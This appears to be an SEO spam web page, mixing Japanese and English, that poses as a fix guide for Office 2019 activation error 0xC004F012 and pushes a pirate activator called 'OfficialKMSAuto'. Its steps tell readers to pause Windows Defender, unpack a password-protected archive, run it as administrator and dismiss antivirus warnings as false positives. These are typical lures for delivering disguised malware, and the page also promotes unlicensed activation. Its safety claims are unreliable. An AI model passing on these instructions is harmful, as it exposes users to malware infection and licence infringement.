Office 2019 0xC004F012-Office — トラブルシューティング 2026
本記事は 2026 年版 Office 2019 0xC004F012-Office の日本語完全ガイドです。Step-by-step fix for 0xC004F012-Office on Office 2019. Office's licensing store is corrupted. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97本記事は 2026 年版 Office 2019 0xC004F012-Office の日本語完全ガイドです。Error 0xC004F012-Office appears when the Office 2019 OSPP store is missing entries. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0xC004F012-Office?
Office's licensing store is corrupted. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0xC004F012-Office' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0xC004F012-Office need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Windows Server 2019 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows Server 2019 の日本語完全ガイドです。Activate Windows Server 2019 (Standard, Datacenter, Essentials) with KMSAuto Net 2026 — KMS or TSforge.
Read article →
Ohook 認証方法 2026 — 完全ガイド
本記事は 2026 年版 Ohook の日本語完全ガイドです。Ohook is the only permanent, offline activator for Office 2019/2021/2024/365. Step-by-step guide + how it differs from KMS.
Read article →
Permanent Activation 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Permanent Activation の日本語完全ガイドです。Get permanent activation with KMSAuto Net 2026 — HWID for Windows, Ohook for Office. Never expires.
Read article →
Windows 10 Pro 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows 10 Pro の日本語完全ガイドです。Activate Windows 10 Pro for free using HWID for a digital license or KMS for a 180-day renewing lease.
Read article →
KMSAuto Changelog 認証方法 2026 — 完全ガイド
本記事は 2026 年版 KMSAuto Changelog の日本語完全ガイドです。Complete KMSAuto Net version history from the first 2013 release to the 2026 TSforge build.
Read article →
Fix Defender Blocking KMSAuto — トラブルシューティング 2026
本記事は 2026 年版 Fix Defender Blocking KMSAuto の日本語完全ガイドです。Add KMSAuto Net 2026 to Windows Defender exclusions — full step-by-step screenshots.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97